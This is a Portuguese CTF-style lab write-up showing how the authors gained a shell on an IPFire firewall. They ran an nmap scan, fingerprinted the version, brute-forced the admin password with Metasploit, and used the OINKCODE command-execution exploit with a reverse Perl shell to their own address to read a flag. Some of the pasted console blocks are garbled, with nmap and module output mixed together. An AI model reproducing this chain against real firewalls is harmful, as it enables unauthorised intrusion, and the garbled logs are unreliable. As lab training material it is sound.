

172.16.1.100

KEY: key{f1r3wallF@il}

+ Primeiro, fizemos uma varredura com o nmap dentro do metasploit para identificar as portas abertas, que encontramos 53,81,444

```
db_nmap -v -sS -Pn -p- --open 172.16.1.100
```

```
[*] Nmap: PORT      STATE SERVICE VERSION
[*] Nmap: 53/tcp    open  domain Unbound
[*] Nmap: 81/tcp    open  http   Apache httpd
[*] Nmap: 444/tcp   open  ssl/http Apache httpd
[*] Nmap: Read data files from: /usr/bin/ /share/nmap
```

→ Três portas abertas com duas rodando o servidor apache.

+ Fomos à internet (no buscador do firefox) tentar acessar as páginas e nos deparamos com um pedido de login por parte de um firewall chamado **ipfire**

+ Pesquisamos por algum exploit capaz de dar bypass no ipfire, e encontramos o **exexploit/linux/http/_oinkcode_exec**

+ Quando demos um **use** nele e pesquisamos as info, vimos que só valia para versões abaixo da 2.19

Description:

IPFire, a free linux based open source firewall distribution, version < 2.19 Update Core 110 contains a remote command execution vulnerability in the ids.cgi page in the OINKCODE field.

+ Para pesquisar a versão do nosso firewall, fizemos um teste de força bruta (manual) na busca por diretórios que foram setados no github

<https://github.com/ipfire/ipfire-2.x/tree/master/html/cgi-bin>

+ No diretório <https://172.16.1.100:444/cgi-bin/credits.cgi> a página foi carregada de modo a mostrar a versão do firewall

IPFire 2.19 (x86_64) - Core Update 109

→ Podemos então prosseguir com nosso exploit

+ Um fato que atrapalhou o exploit foi que ainda não tínhamos as credenciais de acesso.

→ Veja que, por default, ele já testa como user sendo admin.

→ Fizemos um brute force somente das senhas

+ Pesquisamos um módulo auxiliar que fizesse esse brute force **auxiliary/scanner/http/http_login**

+ Setamos as seguintes configurações

```

+ Name=[ 2386 exploit Current Setting ]
+ —=[ 1391 payload —————s = 11 nops ]
+ ANONYMOUS_LOGIN false
+ AUTH_URI
Met BLANK_PASSWORDS false https://docs.metasploit.com/
+ BRUTEFORCE_SPEED 5
msf DB_ALL_CREDS -v -s false -p- --open 172.16.1.100
+ DB_ALL_PASS disco false disabled (-Pn). All addresses will be mark
+ DB_ALL_USERS ing Nm false 94SVN ( https://nmap.org ) at 2024-02-05
+ DB_SKIP_EXISTING none lled DNS resolution of 1 host. at 10:32
+ PASS_FILE initiating /usr/share/metasploit-framework/data/wordlists
+ PROXIES Discovered open port 53/tcp on 172.16.1.100
+ REQUESTTYPE Stealth GET an Timing: About 2.68% done; ETC: 10:51 (0:
+ RHOSTS SYN Stealth 172.16.1.100: About 3.77% done; ETC: 10:59 (0:
+ RPORT nmap: Interrupt 444
msf SSL db_nmap -v -s false --open 172.16.1.100
+ STOP_ON_SUCCESS sco true disabled (-Pn). All addresses will be mark
+ THREADS Starting Nm 1p 7.94SVN ( https://nmap.org ) at 2024-02-05
+ USERPASS_FILE loaded /home/kali/subdomains-10000.txt
+ USER_AS_PASS ting false lled DNS resolution of 1 host. at 10:34
+ USER_FILE mpleted P/home/kali/usuario.txt of 1 host. at 10:34, 0.0
+ VERBOSE Initiating true Stealth Scan at 10:34
+ VHOST: Scanning 172.16.1.100 [1000 ports]
+ Nmap: Discovered open port 53/tcp on 172.16.1.100
+ Nmap: Discovered open port 81/tcp on 172.16.1.100
View the full module info with the info, or info -d command.
+ Nmap: Completed SYN Stealth Scan at 10:34, 27.24s elapsed (1000
msf6 auxiliary(scanner/http/http_login) > run
+ Nmap: Scanning 3 services on 172.16.1.100
[-] http://172.16.1.100:444 No URI found that asks for HTTP authenti
[*] Scanned 1 of 1 hosts (100% complete)100.
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/http_login) > set RPORT 81
RPORT => 81 initiating NSE at 10:35

```

→ Essas listas nós já tínhamos no computador, e criamos a usuario.txt contendo apenas a palavra admin

```

msf6 auxiliary(scanner/http/http_login) > run
[*] Nmap: Scanning 172.16.1.100 [1000 ports]
[*] 172.16.1.100:81 - Following redirect: /cgi-bin/in
[*] Attempting to login to http://172.16.1.100:81/cgi
[-] 172.16.1.100:81 - Failed: 'admin:admin'
[-] 172.16.1.100:81 - Failed: 'admin:password'
[-] 172.16.1.100:81 - Failed: 'admin:manager'
[-] 172.16.1.100:81 - Failed: 'admin:letmein'
[-] 172.16.1.100:81 - Failed: 'admin:cisco'
[-] 172.16.1.100:81 - Failed: 'admin:default'
[-] 172.16.1.100:81 - Failed: 'admin:root'
[-] 172.16.1.100:81 - Failed: 'admin:apc'
[-] 172.16.1.100:81 - Failed: 'admin:pass'
[+] 172.16.1.100:81 - Success: 'admin:security'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

→ Chave: admin:security

+ Voltando ao exploit, setamos a seguinte configuração

```

msf6 exploit(linux/http/ipfire_oinkcode_exec) > show options
SSL false
Module options (exploit/linux/http/ipfire_oinkcode_exec):
THREADS 1
Name PASS_F Current Setting Required Description
----- AS PA -----
PASSWORD security/home/kal no usuario Password to login with
Proxies true no A proxy chain of format ty
RHOSTS 172.16.1.100 yes The target host(s), see ht
RPORT 444 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outg
View USERNAME admin info with yes info User to login with
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/http_login) > run
Exploit target: 16.1.100:444 No URI found that asks for HTTP authen
[*] Scanned 1 of 1 hosts (100% complete)
[*] Id Name module execution completed
msf6 auxiliary(scanner/http/http_login) > set RPORT 81
RPORT 81 Automatic Target

```

→ Escolhemos um payload que fazia uma reverse shell, que foi o cmd/unix/reverse_perl

+ Por fim, setamos o LHOST com nosso endereço de ip que era 172.20.1.182 e a PORT como 443

+ Quando executamos o exploit, tivemos acesso à shell, de onde pesquisamos (óbvio, depois de tentar um monte de outras coisas)

`locate` key

→ Mostrou vários diretórios, mas só um parecia ter a key

→ Demos um **cat**

```
cat /home/nobody/key.txt  
key{f1r3wallF@il}
```